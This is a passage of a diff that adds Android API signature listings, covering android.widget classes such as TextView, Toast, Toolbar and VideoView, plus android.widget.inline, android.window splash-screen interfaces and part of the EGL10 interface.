+    method public int getVirtualChildCount();
+  }
+
+  public static class TableRow.LayoutParams extends android.widget.LinearLayout.LayoutParams {
+    ctor public TableRow.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public TableRow.LayoutParams(int, int);
+    ctor public TableRow.LayoutParams(int, int, float);
+    ctor public TableRow.LayoutParams();
+    ctor public TableRow.LayoutParams(int);
+    ctor public TableRow.LayoutParams(android.view.ViewGroup.LayoutParams);
+    ctor public TableRow.LayoutParams(android.view.ViewGroup.MarginLayoutParams);
+    field public int column;
+    field public int span;
+  }
+
+  @android.widget.RemoteViews.RemoteView public class TextClock extends android.widget.TextView {
+    ctor public TextClock(android.content.Context);
+    ctor public TextClock(android.content.Context, android.util.AttributeSet);
+    ctor public TextClock(android.content.Context, android.util.AttributeSet, int);
+    ctor public TextClock(android.content.Context, android.util.AttributeSet, int, int);
+    method public CharSequence getFormat12Hour();
+    method public CharSequence getFormat24Hour();
+    method public String getTimeZone();
+    method public boolean is24HourModeEnabled();
+    method public void refreshTime();
+    method public void setFormat12Hour(CharSequence);
+    method public void setFormat24Hour(CharSequence);
+    method public void setTimeZone(String);
+    field @Deprecated public static final CharSequence DEFAULT_FORMAT_12_HOUR;
+    field @Deprecated public static final CharSequence DEFAULT_FORMAT_24_HOUR;
+  }
+
+  public class TextSwitcher extends android.widget.ViewSwitcher {
+    ctor public TextSwitcher(android.content.Context);
+    ctor public TextSwitcher(android.content.Context, android.util.AttributeSet);
+    method public void setCurrentText(CharSequence);
+    method public void setText(CharSequence);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class TextView extends android.view.View implements android.view.ViewTreeObserver.OnPreDrawListener {
+    ctor public TextView(android.content.Context);
+    ctor public TextView(android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public TextView(android.content.Context, @Nullable android.util.AttributeSet, int);
+    ctor public TextView(android.content.Context, @Nullable android.util.AttributeSet, int, int);
+    method public void addTextChangedListener(android.text.TextWatcher);
+    method public final void append(CharSequence);
+    method public void append(CharSequence, int, int);
+    method public void beginBatchEdit();
+    method public boolean bringPointIntoView(int);
+    method public void clearComposingText();
+    method public void debug(int);
+    method public boolean didTouchFocusSelect();
+    method public void endBatchEdit();
+    method public boolean extractText(android.view.inputmethod.ExtractedTextRequest, android.view.inputmethod.ExtractedText);
+    method public final int getAutoLinkMask();
+    method public int getAutoSizeMaxTextSize();
+    method public int getAutoSizeMinTextSize();
+    method public int getAutoSizeStepGranularity();
+    method public int[] getAutoSizeTextAvailableSizes();
+    method public int getAutoSizeTextType();
+    method public int getBreakStrategy();
+    method public int getCompoundDrawablePadding();
+    method @Nullable public android.graphics.BlendMode getCompoundDrawableTintBlendMode();
+    method public android.content.res.ColorStateList getCompoundDrawableTintList();
+    method public android.graphics.PorterDuff.Mode getCompoundDrawableTintMode();
+    method @NonNull public android.graphics.drawable.Drawable[] getCompoundDrawables();
+    method @NonNull public android.graphics.drawable.Drawable[] getCompoundDrawablesRelative();
+    method public int getCompoundPaddingBottom();
+    method public int getCompoundPaddingEnd();
+    method public int getCompoundPaddingLeft();
+    method public int getCompoundPaddingRight();
+    method public int getCompoundPaddingStart();
+    method public int getCompoundPaddingTop();
+    method @ColorInt public final int getCurrentHintTextColor();
+    method @ColorInt public final int getCurrentTextColor();
+    method public android.view.ActionMode.Callback getCustomInsertionActionModeCallback();
+    method public android.view.ActionMode.Callback getCustomSelectionActionModeCallback();
+    method protected boolean getDefaultEditable();
+    method protected android.text.method.MovementMethod getDefaultMovementMethod();
+    method public android.text.Editable getEditableText();
+    method public android.text.TextUtils.TruncateAt getEllipsize();
+    method public CharSequence getError();
+    method public int getExtendedPaddingBottom();
+    method public int getExtendedPaddingTop();
+    method public android.text.InputFilter[] getFilters();
+    method public int getFirstBaselineToTopHeight();
+    method @Nullable public String getFontFeatureSettings();
+    method @Nullable public String getFontVariationSettings();
+    method public boolean getFreezesText();
+    method public int getGravity();
+    method @ColorInt public int getHighlightColor();
+    method public CharSequence getHint();
+    method public final android.content.res.ColorStateList getHintTextColors();
+    method public int getHyphenationFrequency();
+    method public int getImeActionId();
+    method public CharSequence getImeActionLabel();
+    method @Nullable public android.os.LocaleList getImeHintLocales();
+    method public int getImeOptions();
+    method public boolean getIncludeFontPadding();
+    method public android.os.Bundle getInputExtras(boolean);
+    method public int getInputType();
+    method public int getJustificationMode();
+    method public final android.text.method.KeyListener getKeyListener();
+    method public int getLastBaselineToBottomHeight();
+    method public final android.text.Layout getLayout();
+    method public float getLetterSpacing();
+    method public int getLineBounds(int, android.graphics.Rect);
+    method public int getLineCount();
+    method public int getLineHeight();
+    method public float getLineSpacingExtra();
+    method public float getLineSpacingMultiplier();
+    method public final android.content.res.ColorStateList getLinkTextColors();
+    method public final boolean getLinksClickable();
+    method public int getMarqueeRepeatLimit();
+    method public int getMaxEms();
+    method public int getMaxHeight();
+    method public int getMaxLines();
+    method public int getMaxWidth();
+    method public int getMinEms();
+    method public int getMinHeight();
+    method public int getMinLines();
+    method public int getMinWidth();
+    method public final android.text.method.MovementMethod getMovementMethod();
+    method public int getOffsetForPosition(float, float);
+    method public android.text.TextPaint getPaint();
+    method public int getPaintFlags();
+    method public String getPrivateImeOptions();
+    method public int getSelectionEnd();
+    method public int getSelectionStart();
+    method @ColorInt public int getShadowColor();
+    method public float getShadowDx();
+    method public float getShadowDy();
+    method public float getShadowRadius();
+    method public final boolean getShowSoftInputOnFocus();
+    method public CharSequence getText();
+    method @NonNull public android.view.textclassifier.TextClassifier getTextClassifier();
+    method public final android.content.res.ColorStateList getTextColors();
+    method @Nullable public android.graphics.drawable.Drawable getTextCursorDrawable();
+    method @NonNull public android.text.TextDirectionHeuristic getTextDirectionHeuristic();
+    method @NonNull public java.util.Locale getTextLocale();
+    method @NonNull @Size(min=1) public android.os.LocaleList getTextLocales();
+    method @NonNull public android.text.PrecomputedText.Params getTextMetricsParams();
+    method public float getTextScaleX();
+    method @Nullable public android.graphics.drawable.Drawable getTextSelectHandle();
+    method @Nullable public android.graphics.drawable.Drawable getTextSelectHandleLeft();
+    method @Nullable public android.graphics.drawable.Drawable getTextSelectHandleRight();
+    method public float getTextSize();
+    method public int getTextSizeUnit();
+    method public int getTotalPaddingBottom();
+    method public int getTotalPaddingEnd();
+    method public int getTotalPaddingLeft();
+    method public int getTotalPaddingRight();
+    method public int getTotalPaddingStart();
+    method public int getTotalPaddingTop();
+    method public final android.text.method.TransformationMethod getTransformationMethod();
+    method public android.graphics.Typeface getTypeface();
+    method public android.text.style.URLSpan[] getUrls();
+    method public boolean hasSelection();
+    method public boolean isAllCaps();
+    method public boolean isCursorVisible();
+    method public boolean isElegantTextHeight();
+    method public boolean isFallbackLineSpacing();
+    method public final boolean isHorizontallyScrollable();
+    method public boolean isInputMethodTarget();
+    method public boolean isSingleLine();
+    method public boolean isSuggestionsEnabled();
+    method public boolean isTextSelectable();
+    method public int length();
+    method public boolean moveCursorToVisibleOffset();
+    method public void onBeginBatchEdit();
+    method public void onCommitCompletion(android.view.inputmethod.CompletionInfo);
+    method public void onCommitCorrection(android.view.inputmethod.CorrectionInfo);
+    method public void onEditorAction(int);
+    method public void onEndBatchEdit();
+    method public boolean onPreDraw();
+    method public boolean onPrivateIMECommand(String, android.os.Bundle);
+    method public void onRestoreInstanceState(android.os.Parcelable);
+    method public android.os.Parcelable onSaveInstanceState();
+    method @CallSuper protected void onSelectionChanged(int, int);
+    method protected void onTextChanged(CharSequence, int, int, int);
+    method public boolean onTextContextMenuItem(int);
+    method public void removeTextChangedListener(android.text.TextWatcher);
+    method public void setAllCaps(boolean);
+    method public final void setAutoLinkMask(int);
+    method public void setAutoSizeTextTypeUniformWithConfiguration(int, int, int, int);
+    method public void setAutoSizeTextTypeUniformWithPresetSizes(@NonNull int[], int);
+    method public void setAutoSizeTextTypeWithDefaults(int);
+    method public void setBreakStrategy(int);
+    method public void setCompoundDrawablePadding(int);
+    method public void setCompoundDrawableTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setCompoundDrawableTintList(@Nullable android.content.res.ColorStateList);
+    method public void setCompoundDrawableTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setCompoundDrawables(@Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable);
+    method public void setCompoundDrawablesRelative(@Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable);
+    method public void setCompoundDrawablesRelativeWithIntrinsicBounds(@DrawableRes int, @DrawableRes int, @DrawableRes int, @DrawableRes int);
+    method public void setCompoundDrawablesRelativeWithIntrinsicBounds(@Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable);
+    method public void setCompoundDrawablesWithIntrinsicBounds(@DrawableRes int, @DrawableRes int, @DrawableRes int, @DrawableRes int);
+    method public void setCompoundDrawablesWithIntrinsicBounds(@Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable, @Nullable android.graphics.drawable.Drawable);
+    method public void setCursorVisible(boolean);
+    method public void setCustomInsertionActionModeCallback(android.view.ActionMode.Callback);
+    method public void setCustomSelectionActionModeCallback(android.view.ActionMode.Callback);
+    method public final void setEditableFactory(android.text.Editable.Factory);
+    method public void setElegantTextHeight(boolean);
+    method public void setEllipsize(android.text.TextUtils.TruncateAt);
+    method public void setEms(int);
+    method public void setError(CharSequence);
+    method public void setError(CharSequence, android.graphics.drawable.Drawable);
+    method public void setExtractedText(android.view.inputmethod.ExtractedText);
+    method public void setFallbackLineSpacing(boolean);
+    method public void setFilters(android.text.InputFilter[]);
+    method public void setFirstBaselineToTopHeight(@IntRange(from=0) @Px int);
+    method public void setFontFeatureSettings(@Nullable String);
+    method public boolean setFontVariationSettings(@Nullable String);
+    method protected boolean setFrame(int, int, int, int);
+    method public void setFreezesText(boolean);
+    method public void setGravity(int);
+    method public void setHeight(int);
+    method public void setHighlightColor(@ColorInt int);
+    method public final void setHint(CharSequence);
+    method public final void setHint(@StringRes int);
+    method public final void setHintTextColor(@ColorInt int);
+    method public final void setHintTextColor(android.content.res.ColorStateList);
+    method public void setHorizontallyScrolling(boolean);
+    method public void setHyphenationFrequency(int);
+    method public void setImeActionLabel(CharSequence, int);
+    method public void setImeHintLocales(@Nullable android.os.LocaleList);
+    method public void setImeOptions(int);
+    method public void setIncludeFontPadding(boolean);
+    method public void setInputExtras(@XmlRes int) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public void setInputType(int);
+    method public void setJustificationMode(int);
+    method public void setKeyListener(android.text.method.KeyListener);
+    method public void setLastBaselineToBottomHeight(@IntRange(from=0) @Px int);
+    method public void setLetterSpacing(float);
+    method public void setLineHeight(@IntRange(from=0) @Px int);
+    method public void setLineSpacing(float, float);
+    method public void setLines(int);
+    method public final void setLinkTextColor(@ColorInt int);
+    method public final void setLinkTextColor(android.content.res.ColorStateList);
+    method public final void setLinksClickable(boolean);
+    method public void setMarqueeRepeatLimit(int);
+    method public void setMaxEms(int);
+    method public void setMaxHeight(int);
+    method public void setMaxLines(int);
+    method public void setMaxWidth(int);
+    method public void setMinEms(int);
+    method public void setMinHeight(int);
+    method public void setMinLines(int);
+    method public void setMinWidth(int);
+    method public final void setMovementMethod(android.text.method.MovementMethod);
+    method public void setOnEditorActionListener(android.widget.TextView.OnEditorActionListener);
+    method public void setPaintFlags(int);
+    method public void setPrivateImeOptions(String);
+    method public void setRawInputType(int);
+    method public void setScroller(android.widget.Scroller);
+    method public void setSelectAllOnFocus(boolean);
+    method public void setShadowLayer(float, float, float, int);
+    method public final void setShowSoftInputOnFocus(boolean);
+    method public void setSingleLine();
+    method public void setSingleLine(boolean);
+    method public final void setSpannableFactory(android.text.Spannable.Factory);
+    method public final void setText(CharSequence);
+    method public void setText(CharSequence, android.widget.TextView.BufferType);
+    method public final void setText(char[], int, int);
+    method public final void setText(@StringRes int);
+    method public final void setText(@StringRes int, android.widget.TextView.BufferType);
+    method public void setTextAppearance(@StyleRes int);
+    method @Deprecated public void setTextAppearance(android.content.Context, @StyleRes int);
+    method public void setTextClassifier(@Nullable android.view.textclassifier.TextClassifier);
+    method public void setTextColor(@ColorInt int);
+    method public void setTextColor(android.content.res.ColorStateList);
+    method public void setTextCursorDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setTextCursorDrawable(@DrawableRes int);
+    method public void setTextIsSelectable(boolean);
+    method public final void setTextKeepState(CharSequence);
+    method public final void setTextKeepState(CharSequence, android.widget.TextView.BufferType);
+    method public void setTextLocale(@NonNull java.util.Locale);
+    method public void setTextLocales(@NonNull @Size(min=1) android.os.LocaleList);
+    method public void setTextMetricsParams(@NonNull android.text.PrecomputedText.Params);
+    method public void setTextScaleX(float);
+    method public void setTextSelectHandle(@NonNull android.graphics.drawable.Drawable);
+    method public void setTextSelectHandle(@DrawableRes int);
+    method public void setTextSelectHandleLeft(@NonNull android.graphics.drawable.Drawable);
+    method public void setTextSelectHandleLeft(@DrawableRes int);
+    method public void setTextSelectHandleRight(@NonNull android.graphics.drawable.Drawable);
+    method public void setTextSelectHandleRight(@DrawableRes int);
+    method public void setTextSize(float);
+    method public void setTextSize(int, float);
+    method public final void setTransformationMethod(android.text.method.TransformationMethod);
+    method public void setTypeface(@Nullable android.graphics.Typeface, int);
+    method public void setTypeface(@Nullable android.graphics.Typeface);
+    method public void setWidth(int);
+    field public static final int AUTO_SIZE_TEXT_TYPE_NONE = 0; // 0x0
+    field public static final int AUTO_SIZE_TEXT_TYPE_UNIFORM = 1; // 0x1
+  }
+
+  public enum TextView.BufferType {
+    enum_constant public static final android.widget.TextView.BufferType EDITABLE;
+    enum_constant public static final android.widget.TextView.BufferType NORMAL;
+    enum_constant public static final android.widget.TextView.BufferType SPANNABLE;
+  }
+
+  public static interface TextView.OnEditorActionListener {
+    method public boolean onEditorAction(android.widget.TextView, int, android.view.KeyEvent);
+  }
+
+  public static class TextView.SavedState extends android.view.View.BaseSavedState {
+    field @NonNull public static final android.os.Parcelable.Creator<android.widget.TextView.SavedState> CREATOR;
+  }
+
+  public interface ThemedSpinnerAdapter extends android.widget.SpinnerAdapter {
+    method @Nullable public android.content.res.Resources.Theme getDropDownViewTheme();
+    method public void setDropDownViewTheme(@Nullable android.content.res.Resources.Theme);
+  }
+
+  public class TimePicker extends android.widget.FrameLayout {
+    ctor public TimePicker(android.content.Context);
+    ctor public TimePicker(android.content.Context, android.util.AttributeSet);
+    ctor public TimePicker(android.content.Context, android.util.AttributeSet, int);
+    ctor public TimePicker(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated @NonNull public Integer getCurrentHour();
+    method @Deprecated @NonNull public Integer getCurrentMinute();
+    method public int getHour();
+    method public int getMinute();
+    method public boolean is24HourView();
+    method @Deprecated public void setCurrentHour(@NonNull Integer);
+    method @Deprecated public void setCurrentMinute(@NonNull Integer);
+    method public void setHour(@IntRange(from=0, to=23) int);
+    method public void setIs24HourView(@NonNull Boolean);
+    method public void setMinute(@IntRange(from=0, to=59) int);
+    method public void setOnTimeChangedListener(android.widget.TimePicker.OnTimeChangedListener);
+    method public boolean validateInput();
+  }
+
+  public static interface TimePicker.OnTimeChangedListener {
+    method public void onTimeChanged(android.widget.TimePicker, int, int);
+  }
+
+  public class Toast {
+    ctor public Toast(android.content.Context);
+    method public void addCallback(@NonNull android.widget.Toast.Callback);
+    method public void cancel();
+    method public int getDuration();
+    method public int getGravity();
+    method public float getHorizontalMargin();
+    method public float getVerticalMargin();
+    method @Deprecated @Nullable public android.view.View getView();
+    method public int getXOffset();
+    method public int getYOffset();
+    method public static android.widget.Toast makeText(android.content.Context, CharSequence, int);
+    method public static android.widget.Toast makeText(android.content.Context, @StringRes int, int) throws android.content.res.Resources.NotFoundException;
+    method public void removeCallback(@NonNull android.widget.Toast.Callback);
+    method public void setDuration(int);
+    method public void setGravity(int, int, int);
+    method public void setMargin(float, float);
+    method public void setText(@StringRes int);
+    method public void setText(CharSequence);
+    method @Deprecated public void setView(android.view.View);
+    method public void show();
+    field public static final int LENGTH_LONG = 1; // 0x1
+    field public static final int LENGTH_SHORT = 0; // 0x0
+  }
+
+  public abstract static class Toast.Callback {
+    ctor public Toast.Callback();
+    method public void onToastHidden();
+    method public void onToastShown();
+  }
+
+  public class ToggleButton extends android.widget.CompoundButton {
+    ctor public ToggleButton(android.content.Context, android.util.AttributeSet, int, int);
+    ctor public ToggleButton(android.content.Context, android.util.AttributeSet, int);
+    ctor public ToggleButton(android.content.Context, android.util.AttributeSet);
+    ctor public ToggleButton(android.content.Context);
+    method @FloatRange(from=0.0, to=1.0) public float getDisabledAlpha();
+    method public CharSequence getTextOff();
+    method public CharSequence getTextOn();
+    method public void setBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setTextOff(CharSequence);
+    method public void setTextOn(CharSequence);
+  }
+
+  public class Toolbar extends android.view.ViewGroup {
+    ctor public Toolbar(android.content.Context);
+    ctor public Toolbar(android.content.Context, android.util.AttributeSet);
+    ctor public Toolbar(android.content.Context, android.util.AttributeSet, int);
+    ctor public Toolbar(android.content.Context, android.util.AttributeSet, int, int);
+    method public void collapseActionView();
+    method public void dismissPopupMenus();
+    method protected android.widget.Toolbar.LayoutParams generateDefaultLayoutParams();
+    method public android.widget.Toolbar.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method protected android.widget.Toolbar.LayoutParams generateLayoutParams(android.view.ViewGroup.LayoutParams);
+    method @Nullable public CharSequence getCollapseContentDescription();
+    method @Nullable public android.graphics.drawable.Drawable getCollapseIcon();
+    method public int getContentInsetEnd();
+    method public int getContentInsetEndWithActions();
+    method public int getContentInsetLeft();
+    method public int getContentInsetRight();
+    method public int getContentInsetStart();
+    method public int getContentInsetStartWithNavigation();
+    method public int getCurrentContentInsetEnd();
+    method public int getCurrentContentInsetLeft();
+    method public int getCurrentContentInsetRight();
+    method public int getCurrentContentInsetStart();
+    method public android.graphics.drawable.Drawable getLogo();
+    method public CharSequence getLogoDescription();
+    method public android.view.Menu getMenu();
+    method @Nullable public CharSequence getNavigationContentDescription();
+    method @Nullable public android.graphics.drawable.Drawable getNavigationIcon();
+    method @Nullable public android.graphics.drawable.Drawable getOverflowIcon();
+    method public int getPopupTheme();
+    method public CharSequence getSubtitle();
+    method public CharSequence getTitle();
+    method public int getTitleMarginBottom();
+    method public int getTitleMarginEnd();
+    method public int getTitleMarginStart();
+    method public int getTitleMarginTop();
+    method public boolean hasExpandedActionView();
+    method public boolean hideOverflowMenu();
+    method public void inflateMenu(@MenuRes int);
+    method public boolean isOverflowMenuShowing();
+    method public void setCollapseContentDescription(@StringRes int);
+    method public void setCollapseContentDescription(@Nullable CharSequence);
+    method public void setCollapseIcon(@DrawableRes int);
+    method public void setCollapseIcon(@Nullable android.graphics.drawable.Drawable);
+    method public void setContentInsetEndWithActions(int);
+    method public void setContentInsetStartWithNavigation(int);
+    method public void setContentInsetsAbsolute(int, int);
+    method public void setContentInsetsRelative(int, int);
+    method public void setLogo(@DrawableRes int);
+    method public void setLogo(android.graphics.drawable.Drawable);
+    method public void setLogoDescription(@StringRes int);
+    method public void setLogoDescription(CharSequence);
+    method public void setNavigationContentDescription(@StringRes int);
+    method public void setNavigationContentDescription(@Nullable CharSequence);
+    method public void setNavigationIcon(@DrawableRes int);
+    method public void setNavigationIcon(@Nullable android.graphics.drawable.Drawable);
+    method public void setNavigationOnClickListener(android.view.View.OnClickListener);
+    method public void setOnMenuItemClickListener(android.widget.Toolbar.OnMenuItemClickListener);
+    method public void setOverflowIcon(@Nullable android.graphics.drawable.Drawable);
+    method public void setPopupTheme(@StyleRes int);
+    method public void setSubtitle(@StringRes int);
+    method public void setSubtitle(CharSequence);
+    method public void setSubtitleTextAppearance(android.content.Context, @StyleRes int);
+    method public void setSubtitleTextColor(@ColorInt int);
+    method public void setTitle(@StringRes int);
+    method public void setTitle(CharSequence);
+    method public void setTitleMargin(int, int, int, int);
+    method public void setTitleMarginBottom(int);
+    method public void setTitleMarginEnd(int);
+    method public void setTitleMarginStart(int);
+    method public void setTitleMarginTop(int);
+    method public void setTitleTextAppearance(android.content.Context, @StyleRes int);
+    method public void setTitleTextColor(@ColorInt int);
+    method public boolean showOverflowMenu();
+  }
+
+  public static class Toolbar.LayoutParams extends android.app.ActionBar.LayoutParams {
+    ctor public Toolbar.LayoutParams(@NonNull android.content.Context, android.util.AttributeSet);
+    ctor public Toolbar.LayoutParams(int, int);
+    ctor public Toolbar.LayoutParams(int, int, int);
+    ctor public Toolbar.LayoutParams(int);
+    ctor public Toolbar.LayoutParams(android.widget.Toolbar.LayoutParams);
+    ctor public Toolbar.LayoutParams(android.app.ActionBar.LayoutParams);
+    ctor public Toolbar.LayoutParams(android.view.ViewGroup.MarginLayoutParams);
+    ctor public Toolbar.LayoutParams(android.view.ViewGroup.LayoutParams);
+  }
+
+  public static interface Toolbar.OnMenuItemClickListener {
+    method public boolean onMenuItemClick(android.view.MenuItem);
+  }
+
+  @Deprecated public class TwoLineListItem extends android.widget.RelativeLayout {
+    ctor @Deprecated public TwoLineListItem(android.content.Context);
+    ctor @Deprecated public TwoLineListItem(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public TwoLineListItem(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public TwoLineListItem(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public android.widget.TextView getText1();
+    method @Deprecated public android.widget.TextView getText2();
+  }
+
+  public class VideoView extends android.view.SurfaceView implements android.widget.MediaController.MediaPlayerControl {
+    ctor public VideoView(android.content.Context);
+    ctor public VideoView(android.content.Context, android.util.AttributeSet);
+    ctor public VideoView(android.content.Context, android.util.AttributeSet, int);
+    ctor public VideoView(android.content.Context, android.util.AttributeSet, int, int);
+    method public void addSubtitleSource(java.io.InputStream, android.media.MediaFormat);
+    method public boolean canPause();
+    method public boolean canSeekBackward();
+    method public boolean canSeekForward();
+    method public int getAudioSessionId();
+    method public int getBufferPercentage();
+    method public int getCurrentPosition();
+    method public int getDuration();
+    method public boolean isPlaying();
+    method public void pause();
+    method public int resolveAdjustedSize(int, int);
+    method public void resume();
+    method public void seekTo(int);
+    method public void setAudioAttributes(@NonNull android.media.AudioAttributes);
+    method public void setAudioFocusRequest(int);
+    method public void setMediaController(android.widget.MediaController);
+    method public void setOnCompletionListener(android.media.MediaPlayer.OnCompletionListener);
+    method public void setOnErrorListener(android.media.MediaPlayer.OnErrorListener);
+    method public void setOnInfoListener(android.media.MediaPlayer.OnInfoListener);
+    method public void setOnPreparedListener(android.media.MediaPlayer.OnPreparedListener);
+    method public void setVideoPath(String);
+    method public void setVideoURI(android.net.Uri);
+    method public void setVideoURI(android.net.Uri, java.util.Map<java.lang.String,java.lang.String>);
+    method public void start();
+    method public void stopPlayback();
+    method public void suspend();
+  }
+
+  public class ViewAnimator extends android.widget.FrameLayout {
+    ctor public ViewAnimator(android.content.Context);
+    ctor public ViewAnimator(android.content.Context, android.util.AttributeSet);
+    method public boolean getAnimateFirstView();
+    method public android.view.View getCurrentView();
+    method public int getDisplayedChild();
+    method public android.view.animation.Animation getInAnimation();
+    method public android.view.animation.Animation getOutAnimation();
+    method public void setAnimateFirstView(boolean);
+    method public void setDisplayedChild(int);
+    method public void setInAnimation(android.view.animation.Animation);
+    method public void setInAnimation(android.content.Context, @AnimRes int);
+    method public void setOutAnimation(android.view.animation.Animation);
+    method public void setOutAnimation(android.content.Context, @AnimRes int);
+    method public void showNext();
+    method public void showPrevious();
+  }
+
+  @android.widget.RemoteViews.RemoteView public class ViewFlipper extends android.widget.ViewAnimator {
+    ctor public ViewFlipper(android.content.Context);
+    ctor public ViewFlipper(android.content.Context, android.util.AttributeSet);
+    method @IntRange(from=0) public int getFlipInterval();
+    method public boolean isAutoStart();
+    method public boolean isFlipping();
+    method public void setAutoStart(boolean);
+    method public void setFlipInterval(@IntRange(from=0) int);
+    method public void startFlipping();
+    method public void stopFlipping();
+  }
+
+  public class ViewSwitcher extends android.widget.ViewAnimator {
+    ctor public ViewSwitcher(android.content.Context);
+    ctor public ViewSwitcher(android.content.Context, android.util.AttributeSet);
+    method public android.view.View getNextView();
+    method public void reset();
+    method public void setFactory(android.widget.ViewSwitcher.ViewFactory);
+  }
+
+  public static interface ViewSwitcher.ViewFactory {
+    method public android.view.View makeView();
+  }
+
+  public interface WrapperListAdapter extends android.widget.ListAdapter {
+    method public android.widget.ListAdapter getWrappedAdapter();
+  }
+
+  @Deprecated public class ZoomButton extends android.widget.ImageButton implements android.view.View.OnLongClickListener {
+    ctor @Deprecated public ZoomButton(android.content.Context);
+    ctor @Deprecated public ZoomButton(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public ZoomButton(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public ZoomButton(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public boolean onLongClick(android.view.View);
+    method @Deprecated public void setZoomSpeed(long);
+  }
+
+  @Deprecated public class ZoomButtonsController implements android.view.View.OnTouchListener {
+    ctor @Deprecated public ZoomButtonsController(android.view.View);
+    method @Deprecated public android.view.ViewGroup getContainer();
+    method @Deprecated public android.view.View getZoomControls();
+    method @Deprecated public boolean isAutoDismissed();
+    method @Deprecated public boolean isVisible();
+    method public boolean onTouch(android.view.View, android.view.MotionEvent);
+    method @Deprecated public void setAutoDismissed(boolean);
+    method @Deprecated public void setFocusable(boolean);
+    method @Deprecated public void setOnZoomListener(android.widget.ZoomButtonsController.OnZoomListener);
+    method @Deprecated public void setVisible(boolean);
+    method @Deprecated public void setZoomInEnabled(boolean);
+    method @Deprecated public void setZoomOutEnabled(boolean);
+    method @Deprecated public void setZoomSpeed(long);
+  }
+
+  @Deprecated public static interface ZoomButtonsController.OnZoomListener {
+    method @Deprecated public void onVisibilityChanged(boolean);
+    method @Deprecated public void onZoom(boolean);
+  }
+
+  @Deprecated public class ZoomControls extends android.widget.LinearLayout {
+    ctor @Deprecated public ZoomControls(android.content.Context);
+    ctor @Deprecated public ZoomControls(android.content.Context, android.util.AttributeSet);
+    method @Deprecated public void hide();
+    method @Deprecated public void setIsZoomInEnabled(boolean);
+    method @Deprecated public void setIsZoomOutEnabled(boolean);
+    method @Deprecated public void setOnZoomInClickListener(android.view.View.OnClickListener);
+    method @Deprecated public void setOnZoomOutClickListener(android.view.View.OnClickListener);
+    method @Deprecated public void setZoomSpeed(long);
+    method @Deprecated public void show();
+  }
+
+}
+
+package android.widget.inline {
+
+  public class InlineContentView extends android.view.ViewGroup {
+    method @Nullable public android.view.SurfaceControl getSurfaceControl();
+    method public boolean isZOrderedOnTop();
+    method public void onLayout(boolean, int, int, int, int);
+    method public void setSurfaceControlCallback(@Nullable android.widget.inline.InlineContentView.SurfaceControlCallback);
+    method public boolean setZOrderedOnTop(boolean);
+  }
+
+  public static interface InlineContentView.SurfaceControlCallback {
+    method public void onCreated(@NonNull android.view.SurfaceControl);
+    method public void onDestroyed(@NonNull android.view.SurfaceControl);
+  }
+
+  public final class InlinePresentationSpec implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public android.util.Size getMaxSize();
+    method @NonNull public android.util.Size getMinSize();
+    method @NonNull public android.os.Bundle getStyle();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.widget.inline.InlinePresentationSpec> CREATOR;
+  }
+
+  public static final class InlinePresentationSpec.Builder {
+    ctor public InlinePresentationSpec.Builder(@NonNull android.util.Size, @NonNull android.util.Size);
+    method @NonNull public android.widget.inline.InlinePresentationSpec build();
+    method @NonNull public android.widget.inline.InlinePresentationSpec.Builder setStyle(@NonNull android.os.Bundle);
+  }
+
+}
+
+package android.window {
+
+  public interface SplashScreen {
+    method public void clearOnExitAnimationListener();
+    method public void setOnExitAnimationListener(@NonNull android.window.SplashScreen.OnExitAnimationListener);
+    method public void setSplashScreenTheme(@StyleRes int);
+  }
+
+  public static interface SplashScreen.OnExitAnimationListener {
+    method @UiThread public void onSplashScreenExit(@NonNull android.window.SplashScreenView);
+  }
+
+  public final class SplashScreenView extends android.widget.FrameLayout {
+    method @Nullable public java.time.Duration getIconAnimationDuration();
+    method @Nullable public java.time.Instant getIconAnimationStart();
+    method @Nullable public android.view.View getIconView();
+    method @UiThread public void remove();
+  }
+
+}
+
+package javax.microedition.khronos.egl {
+
+  public interface EGL {
+  }
+
+  public interface EGL10 extends javax.microedition.khronos.egl.EGL {
+    method public boolean eglChooseConfig(javax.microedition.khronos.egl.EGLDisplay, int[], javax.microedition.khronos.egl.EGLConfig[], int, int[]);
+    method public boolean eglCopyBuffers(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLSurface, Object);
+    method public javax.microedition.khronos.egl.EGLContext eglCreateContext(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig, javax.microedition.khronos.egl.EGLContext, int[]);
+    method public javax.microedition.khronos.egl.EGLSurface eglCreatePbufferSurface(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig, int[]);
+    method @Deprecated public javax.microedition.khronos.egl.EGLSurface eglCreatePixmapSurface(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig, Object, int[]);
+    method public javax.microedition.khronos.egl.EGLSurface eglCreateWindowSurface(javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig, Object, int[]);
